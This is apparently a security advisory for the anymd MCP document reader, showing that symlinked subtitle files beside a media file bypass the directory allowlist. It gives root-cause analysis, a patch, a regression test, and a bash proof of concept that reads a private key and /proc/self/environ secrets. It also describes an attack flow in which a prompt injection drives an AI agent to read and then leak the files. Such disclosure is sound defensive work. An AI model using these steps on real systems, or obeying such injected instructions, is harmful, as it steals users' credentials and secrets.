Symlinked subtitle sidecar next to a media file bypasses --allow-dir / MCP_PDF_ALLOWED_DIRS in read / outline, disclosing arbitrary files
Description
When --allow-dir or MCP_PDF_ALLOWED_DIRS is set, anymd should only read files inside the allowed directories. docs/guide/security.md also says: "Paths outside the allowed directories, including ones reached through symlinks, are refused."
read and outline on an audio/video file break this guarantee. anymd-formats lists and reads every <stem>.*.srt / <stem>.*.vtt file in the media file's directory by itself. That read never goes through SourceAccessPolicy, and it follows symlinks. If the file has no --> cue timings, its contents are returned verbatim as "subtitles".
- With
talk.mp3andtalk.en.srt -> ~/.ssh/id_ed25519inside the allowed directory,read talk.mp3returns the private key. Readingtalk.en.srtdirectly is correctly refused. - On Linux,
talk.zz.srt -> /proc/self/environreturns anymd's own environment without guessing any path. That includesMCP_API_KEY,MCP_PDF_REGION_ANALYSIS_OPENAI_API_KEY,ANYMD_PRO_TOKEN, and any secrets the MCP client passed in.
| | | |---|---| | Affected | npm @sylphx/anymd 7.0.0 – 8.5.9 (latest). The bug came in with 2f7fe33 (#745). @sylphx/citra and @sylphx/pdf-reader-mcp 8.x depend on it and are affected too. crates.io anymd-formats 8.1.0 – 8.5.3 (every published version) contains the vulnerable function. | | Transport | stdio and Streamable HTTP, plus the CLI (anymd <file>) | | Patched | 8.5.10 (5439baff38b8400029414e95515989f477f036c7, f048a4704afe5b5bf085886c09811c71f8309a72) | | Severity | Medium, CVSS 3.1 5.5, CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N | | CWE | CWE-59: Improper Link Resolution Before File Access |
Tested on main @ 01d6081 (anymd 8.5.9). A suggested fix is at the end of Details.
Details
Root cause
Opened::open checks only the path the caller passed in against the allowlist (crates/anymd/src/document.rs:304). It then gives that path to anymd_formats::convert. For Format::Video, the converter calls sidecar_sections, which enumerates and reads sibling subtitle files on its own.
tools/call read { source: ".../allowed/talk.mp3" } crates/anymd/src/lib.rs:202
└ lean::read_text (no timeline) crates/anymd/src/lean.rs:541, 617
└ Opened::open crates/anymd/src/document.rs:292
├ policy.admit_path(spec) ← only the media file document.rs:304
└ anymd_formats::convert(Video, path = media file) document.rs:313-325
└ video::convert → basic() / render_probe() crates/anymd-formats/src/video.rs:192, 324
└ sidecar_sections video.rs:456-497
├ p.metadata() follows symlinks; only is_file() && len <= 10 MiB
├ std::fs::read(&p) follows symlinks; no allowlist check
└ subtitles_to_markdown: no "-->" → returns text as-is video.rs:1011-1013// crates/anymd-formats/src/video.rs
469 let mut sidecars: Vec<PathBuf> = entries
470 .flatten()
471 .map(|e| e.path())
472 .filter(|p| {
...
477 (lower.ends_with(".srt") || lower.ends_with(".vtt"))
478 && (name.starts_with(&format!("{stem}.")))
479 && p.metadata() // stat(2): follows symlinks
480 .is_ok_and(|m| m.is_file() && m.len() <= MAX_SIDECAR_BYTES)
481 })
...
488 let text = std::fs::read(&p).ok()?; // open(2): follows symlinksWhy the allowlist does not catch it
SourceAccessPolicycanonicalizes a path before itsstarts_withcheck (crates/anymd/src/source_access.rs:164-193). That correctly rejects symlinks, but it only runs on the media file.- Sidecars are enumerated inside
anymd-formats, which has no access to the policy:anymd_formats::Optionscarries no allowlist or path filter. Path::metadataandfs::readboth follow symlinks, so a symlink looks like a regular file tois_file().- procfs files such as
/proc/self/environstat as 0-byte regular files, so they pass the size check.
The same feature is already fixed on another path
31f8c2c (#942, v8.5.5) sends every sidecar on the timeline path through the allowlist (sidecar_text / load_sidecar, crates/anymd/src/video_request.rs:331-353, with a test at :690-708). The default path was not changed. timeline is a Pro feature (crates/anymd/src/lib.rs:209), so most users run the unfixed path.
Note that the existing test only covers a sidecar in a directory outside the allowlist. It does not cover a symlink inside the allowed directory.
Affected entry points
- MCP
readwithouttimeline: the contents end up in the result. - MCP
outlinewithouttimeline: runs the same read. - CLI
anymd <file>: the CLI also appliesMCP_PDF_ALLOWED_DIRS. - Transports: stdio and Streamable HTTP are both affected.
searchis not affected because it does not process media files.
Suggested remediation
Minimal fix: only sidecar_sections in crates/anymd-formats/src/video.rs changes
@@ fn sidecar_sections(path: Option<&Path>) -> Vec<Section> {
let mut sidecars: Vec<PathBuf> = entries
.flatten()
+ // `file_type` does not follow links: a sidecar is a regular file in
+ // this directory, never a symlink out of it (the caller's allowlist).
+ .filter(|e| e.file_type().is_ok_and(|t| t.is_file()))
.map(|e| e.path())
@@
.filter_map(|p| {
- let text = std::fs::read(&p).ok()?;
+ let mut text = Vec::new();
+ std::io::Read::read_to_end(
+ &mut std::io::Read::take(std::fs::File::open(&p).ok()?, MAX_SIDECAR_BYTES + 1),
+ &mut text,
+ )
+ .ok()?;
+ if text.len() as u64 > MAX_SIDECAR_BYTES {
+ return None;
+ }- Skip symlinks.
DirEntry::file_type()does not follow symlinks, so symlinked sidecars are dropped and only real regular files in the same directory are read. The media file's directory has already passed the allowlist, so those files are inside it too. Windows symlinks and junctions are excluded as well. - Bound the read. Read at most 10 MiB. This handles
/procfiles that report 0 bytes and files that grow after the check, and matches whatvideo_request::load_sidecaralready does. - Side effect. Without an allowlist, a symlinked sidecar will no longer be read either. That setup is rare. To keep it, require instead that the sidecar's canonical parent equals the media file's canonical parent.
Regression test (for mod tests in video.rs)
#[cfg(unix)]
#[test]
fn a_symlinked_sidecar_is_not_read() {
let dir = tempfile::tempdir().unwrap();
let outside = tempfile::tempdir().unwrap();
let secret = outside.path().join("credentials");
std::fs::write(&secret, "AWS_SECRET_ACCESS_KEY=never-in-output").unwrap();
let media = dir.path().join("talk.mp3");
std::fs::write(&media, b"ID3\x04\0\0\0\0\0\0").unwrap();
std::os::unix::fs::symlink(&secret, dir.path().join("talk.en.srt")).unwrap();
std::os::unix::fs::symlink("/proc/self/environ", dir.path().join("talk.zz.srt")).unwrap();
std::fs::write(dir.path().join("talk.fr.srt"), "1\n00:00:00,000 --> 00:00:01,000\nBonjour\n").unwrap();
let bytes = std::fs::read(&media).unwrap();
let out = convert(&bytes, &Options { path: Some(media), ..Default::default() }).unwrap();
let text: String = out.sections.iter().map(|s| s.markdown.as_str()).collect();
assert!(text.contains("Bonjour"), "a regular sidecar is still read");
assert!(!text.contains("never-in-output"), "a symlinked sidecar leaked");
assert!(out.sections.iter().all(|s| !s.label.contains("talk.zz.srt")));
}Verified on WSL2 Ubuntu 24.04, Rust 1.99.1, cargo test -p anymd-formats --no-default-features:
| Build | a_symlinked_sidecar_is_not_read | All video:: tests |
|---|---|---|
Before fix (01d6081 + test only) | FAILED: a symlinked sidecar leaked | — |
| After fix | ok | 14 passed, 0 failed |
On Windows the fixed version also compiles and the 13 existing video tests pass, so regular sidecars are still read. The new test is Unix-only and was not run there.
Longer-term option
Let the anymd crate, which owns the policy, decide which sidecars may be read. Either add an admission hook to anymd_formats::Options, or turn off the built-in sidecar enumeration in anymd-formats and use video_request::sidecar_text / load_sidecar instead. Both paths would then share one set of rules, and future sidecar types could not miss the check.
Residual risk (low)
- Between the
file_type()check and the open, someone who can write to the allowed directory at the same time could swap a regular file for a symlink. - If needed, on Unix open with
O_NOFOLLOW, or comparedev/inofromfstaton the opened file withlstat. video_request::load_sidecarchecks and then opens too, so it has the same window.
Workarounds until a fix ships
- Do not put untrusted repositories or archives in an allowed directory.
- Or find and delete symlinked subtitle files first:
find <dir> -type l \( -name '*.srt' -o -name '*.vtt' \)
Proof of concept
Environment
- WSL2 Ubuntu 24.04, Rust 1.99.1,
ffprobeinstalled anymdbuilt unmodified frommain@01d6081(anymd version→anymd 8.5.9)
repro_linux.sh
Run with ANYMD_BIN=/path/to/anymd bash repro_linux.sh. The key is a fake placeholder and everything happens in a temp directory.
#!/usr/bin/env bash
set -euo pipefail
BIN=${ANYMD_BIN:-anymd}
d=$(mktemp -d); trap 'rm -rf "$d"' EXIT
mkdir -p "$d/allowed" "$d/outside"
printf -- '-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAA-POC-NOT-A-REAL-KEY\n-----END OPENSSH PRIVATE KEY-----\n' > "$d/outside/id_ed25519"
printf 'ID3\004\000\000\000\000\000\000' > "$d/allowed/talk.mp3" # ID3 magic is enough
ln -s "$d/outside/id_ed25519" "$d/allowed/talk.en.srt"
ln -s /proc/self/environ "$d/allowed/talk.zz.srt"
export MCP_PDF_ALLOWED_DIRS="$d/allowed" MCP_API_KEY=poc-http-api-key POC_MARKER=secret-in-process-env
# 1. CLI: the symlink itself, read directly
"$BIN" "$d/allowed/talk.en.srt" || true
# 2. CLI: the media file next to it
"$BIN" "$d/allowed/talk.mp3" | tr '\0' '\n'
# 3. MCP stdio, server started with --allow-dir: read the symlink (id 2), then the media file (id 3)
{
printf '%s\n' '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"0"}}}'
printf '%s\n' '{"jsonrpc":"2.0","method":"notifications/initialized"}'
printf '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"read","arguments":{"source":"%s"}}}\n' "$d/allowed/talk.en.srt"
printf '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"read","arguments":{"source":"%s"}}}\n' "$d/allowed/talk.mp3"
sleep 3
} | env -u MCP_PDF_ALLOWED_DIRS "$BIN" mcp --allow-dir="$d/allowed"Observed output
This output comes from a slightly longer version of the script that also lists the files and pulls the relevant fields out of the JSON-RPC responses. Section 3 is from a second run, which is why its temp directory name differs.
$ anymd version
anymd 8.5.9
$ ls -l allowed/
lrwxrwxrwx talk.en.srt -> /tmp/tmp.EkCq6Rdx4y/outside/id_ed25519
-rw-r--r-- talk.mp3
lrwxrwxrwx talk.zz.srt -> /proc/self/environ
== 1. CLI: the symlink itself, read directly (allowlist works) ==
anymd: /tmp/tmp.EkCq6Rdx4y/allowed/talk.en.srt: Access denied: path '/tmp/tmp.EkCq6Rdx4y/allowed/talk.en.srt' is outside the configured allowed directories.
== 2. CLI: the media file next to it (outside file printed as subtitles) ==
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAA-POC-NOT-A-REAL-KEY
-----END OPENSSH PRIVATE KEY-----
POC_MARKER=secret-in-process-env
MCP_API_KEY=poc-http-api-key
== 3. MCP stdio: tools/call read, server started with --allow-dir ==
id=2 isError=True error="Access denied: path '/tmp/tmp.Sa2bUaDN7J/allowed/talk.en.srt' is outside the configured allowed directories."
id=3 isError=False
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAA-POC-NOT-A-REAL-KEY
-----END OPENSSH PRIVATE KEY-----
POC_MARKER=secret-in-process-env
MCP_API_KEY=poc-http-api-keySame server, same allowlist: reading the symlink directly is refused (1, id=2). Reading the media file next to it returns both the outside file (talk.en.srt) and the server's own environment (talk.zz.srt → /proc/self/environ) verbatim (2, id=3).
Impact
Who is affected
Users on Linux or macOS who use --allow-dir / MCP_PDF_ALLOWED_DIRS to confine an AI agent to specific directories, over stdio or Streamable HTTP. Without an allowlist the server can already read anything the user can, so that setup is not a bypass.
Attack flow
- The attacker puts a media file (10 bytes starting with
ID3is enough) and a symlinked subtitle file in a repository or archive. - The victim clones or extracts it into an allowed directory. git, tar and zip all restore symlinks.
- The user asks the agent to process the media, or a prompt injection in the repository's docs gets the agent to call
read/outlineon it.
What the attacker gets
- Any file of 10 MiB or less that the anymd user can read, such as SSH keys,
~/.aws/credentialsor.envfiles. - On Linux, the anymd process environment without guessing any path:
MCP_API_KEY/PDF_READER_MCP_API_KEY(HTTP mode),MCP_PDF_REGION_ANALYSIS_OPENAI_API_KEY,MCP_PDF_REGION_ANALYSIS_HTTP_HEADERS_JSON(may containAuthorization),ANYMD_PRO_TOKEN, and any other secrets the MCP client passed to the server. - The contents enter the agent's context and are sent to the model provider, which is exactly what the allowlist exists to prevent. A prompt injection can then push the contents out through any channel the agent has, such as a commit or an issue comment.
- In a shared HTTP deployment, a caller who is the attacker gets the output directly. Leaking
MCP_API_KEYgives full access to the server.
Limitations
- The attacker must first get the symlink into an allowed directory.
- On Windows, regular users cannot create file symlinks by default and Git for Windows does not restore them by default, so the risk there is much lower.
- FIFOs and device files fail
is_file(), so this cannot be used for a blocking DoS. - Read-only. No write primitive.
CVSS 3.1: 5.5 (Medium), AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
- AV:L / UI:R: the malicious files must reach the victim's machine and be processed locally after a user action.
- PR:N / AC:L: no account on the victim machine is needed and there is no race.
- C:H: the attacker picks the target file, including the server's own secrets.
| Alternative scenario | Vector | Score | |---|---|---| | Shared HTTP deployment: attacker holds an API key and can place a symlink in an allowed directory | AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N | 5.3 | | Treating the allowlist as a sandbox boundary (Scope Changed) | AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N | 6.3 |
Resolution
Fixed in v8.5.10 (5439baff38b8400029414e95515989f477f036c7, f048a4704afe5b5bf085886c09811c71f8309a72) by rejecting symlinked subtitle sidecar entries via DirEntry::file_type(), bounding sidecar reads with Read::take(MAX_SIDECAR_BYTES + 1), and enforcing SourceAccessPolicy canonical containment across all sidecar discovery paths.